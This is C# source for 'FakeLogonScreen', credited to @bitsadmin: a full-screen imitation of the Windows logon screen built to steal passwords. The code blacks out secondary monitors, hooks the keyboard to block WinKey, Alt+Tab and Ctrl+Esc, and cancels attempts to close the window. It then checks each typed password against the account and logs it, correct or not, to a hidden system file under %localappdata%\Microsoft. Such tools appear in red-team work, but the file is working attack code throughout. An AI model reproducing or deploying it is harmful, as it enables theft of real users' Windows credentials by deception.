LogonScreen.cs 7.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213
  1. using System;
  2. using System.Diagnostics;
  3. using System.DirectoryServices.AccountManagement;
  4. using System.Runtime.InteropServices;
  5. using System.Windows.Forms;
  6. using System.IO;
  7. using System.Drawing;
  8. /*
  9. Author: @bitsadmin
  10. Website: https://github.com/bitsadmin
  11. License: BSD 3-Clause
  12. */
  13. namespace FakeLogonScreen
  14. {
  15. public partial class LogonScreen : Form
  16. {
  17. private bool success = false;
  18. public ContextType Context { get; set; }
  19. public string Username { get; set; }
  20. public string DisplayName { get; set; }
  21. public LogonScreen()
  22. {
  23. InitializeComponent();
  24. }
  25. private void mtbPassword_KeyUp(object sender, KeyEventArgs e)
  26. {
  27. if (e.KeyCode == Keys.Enter)
  28. ValidateCredentials();
  29. }
  30. private void pbSubmit_Click(object sender, EventArgs e)
  31. {
  32. ValidateCredentials();
  33. }
  34. private void ValidateCredentials()
  35. {
  36. // Validate password
  37. string error = string.Empty;
  38. string password = mtbPassword.Text;
  39. try
  40. {
  41. using (PrincipalContext context = new PrincipalContext(Context))
  42. {
  43. // If for whatever reason the username couldn't be resolved, the password can most likely also not be validated
  44. // Just save the password and close the screen
  45. if (string.IsNullOrEmpty(Username))
  46. success = true;
  47. success = context.ValidateCredentials(Username, password);
  48. }
  49. }
  50. // Could happen in case for example the (local) user's password is empty
  51. catch(Exception e)
  52. {
  53. success = true;
  54. error = string.Format("{0}\r\n", e.Message);
  55. }
  56. // Store username and password in %localappdata%\Microsoft\user.db
  57. // Even if a wrong password is typed, it might be valuable
  58. string path = string.Format(@"{0}\Microsoft\user.db", Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
  59. try
  60. {
  61. if (string.IsNullOrEmpty(password))
  62. password = "[blank password]";
  63. using (StreamWriter file = new StreamWriter(path, true))
  64. {
  65. file.WriteLine("{0}{1}: {2} --> {3}", error, this.Username, password, success ? "Correct" : "Wrong");
  66. }
  67. // Hide file
  68. File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);
  69. }
  70. catch (Exception)
  71. { }
  72. // Ask again if password is incorrect
  73. if (!success)
  74. {
  75. // Show error
  76. lblError.Text = "The password is incorrect. Try again.";
  77. mtbPassword.Text = string.Empty;
  78. // Set focus on password box
  79. ActiveControl = mtbPassword;
  80. }
  81. // If correct password, save and close screen
  82. else
  83. {
  84. Application.Exit();
  85. }
  86. }
  87. private void Screen_FormClosing(object sender, FormClosingEventArgs e)
  88. {
  89. // Block window from being closed using Alt + F4
  90. if (!success)
  91. e.Cancel = true;
  92. }
  93. private void Screen_Load(object sender, EventArgs e)
  94. {
  95. // Create new black fullscreen window on every additional screen
  96. foreach (Screen s in Screen.AllScreens)
  97. {
  98. if (s.Primary)
  99. continue;
  100. Form black = new Form()
  101. {
  102. BackColor = System.Drawing.Color.Black,
  103. ShowIcon = false,
  104. ShowInTaskbar = false,
  105. WindowState = FormWindowState.Maximized,
  106. MaximizeBox = false,
  107. MinimizeBox = false,
  108. FormBorderStyle = FormBorderStyle.None,
  109. ControlBox = false,
  110. StartPosition = FormStartPosition.Manual,
  111. Location = new Point(s.WorkingArea.Left, s.WorkingArea.Top)
  112. };
  113. // Prevent black screen from being closed
  114. black.FormClosing += delegate (object fSender, FormClosingEventArgs fe) { fe.Cancel = true; };
  115. // Show black screen
  116. black.Show();
  117. }
  118. // Set username
  119. if (!string.IsNullOrEmpty(DisplayName))
  120. lblUsername.Text = DisplayName;
  121. else if (!string.IsNullOrEmpty(Username))
  122. lblUsername.Text = Username;
  123. else
  124. lblUsername.Text = "User";
  125. // Set focus on password box
  126. ActiveControl = mtbPassword;
  127. // Disable WinKey, Alt+Tab, Ctrl+Esc
  128. // Source: https://stackoverflow.com/a/3227562
  129. ProcessModule objCurrentModule = Process.GetCurrentProcess().MainModule;
  130. objKeyboardProcess = new LowLevelKeyboardProc(captureKey);
  131. ptrHook = SetWindowsHookEx(13, objKeyboardProcess, GetModuleHandle(objCurrentModule.ModuleName), 0);
  132. // Make this the active window
  133. WindowState = FormWindowState.Minimized;
  134. Show();
  135. WindowState = FormWindowState.Maximized;
  136. }
  137. /* Code to Disable WinKey, Alt+Tab, Ctrl+Esc Starts Here */
  138. // Structure contain information about low-level keyboard input event
  139. [StructLayout(LayoutKind.Sequential)]
  140. private struct KBDLLHOOKSTRUCT
  141. {
  142. public Keys key;
  143. public int scanCode;
  144. public int flags;
  145. public int time;
  146. public IntPtr extra;
  147. }
  148. //System level functions to be used for hook and unhook keyboard input
  149. private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
  150. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  151. private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);
  152. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  153. private static extern bool UnhookWindowsHookEx(IntPtr hook);
  154. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  155. private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, IntPtr wp, IntPtr lp);
  156. [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  157. private static extern IntPtr GetModuleHandle(string name);
  158. [DllImport("user32.dll", CharSet = CharSet.Auto)]
  159. private static extern short GetAsyncKeyState(Keys key);
  160. //Declaring Global objects
  161. private IntPtr ptrHook;
  162. private LowLevelKeyboardProc objKeyboardProcess;
  163. private IntPtr captureKey(int nCode, IntPtr wp, IntPtr lp)
  164. {
  165. if (nCode >= 0)
  166. {
  167. KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lp, typeof(KBDLLHOOKSTRUCT));
  168. // Disabling Windows keys
  169. if (objKeyInfo.key == Keys.RWin || objKeyInfo.key == Keys.LWin || objKeyInfo.key == Keys.Tab && HasAltModifier(objKeyInfo.flags) || objKeyInfo.key == Keys.Escape && (ModifierKeys & Keys.Control) == Keys.Control)
  170. {
  171. return (IntPtr)1; // if 0 is returned then All the above keys will be enabled
  172. }
  173. }
  174. return CallNextHookEx(ptrHook, nCode, wp, lp);
  175. }
  176. bool HasAltModifier(int flags)
  177. {
  178. return (flags & 0x20) == 0x20;
  179. }
  180. private void mtbPassword_MaskInputRejected(object sender, MaskInputRejectedEventArgs e)
  181. {
  182. }
  183. /* Code to Disable WinKey, Alt+Tab, Ctrl+Esc Ends Here */
  184. }
  185. }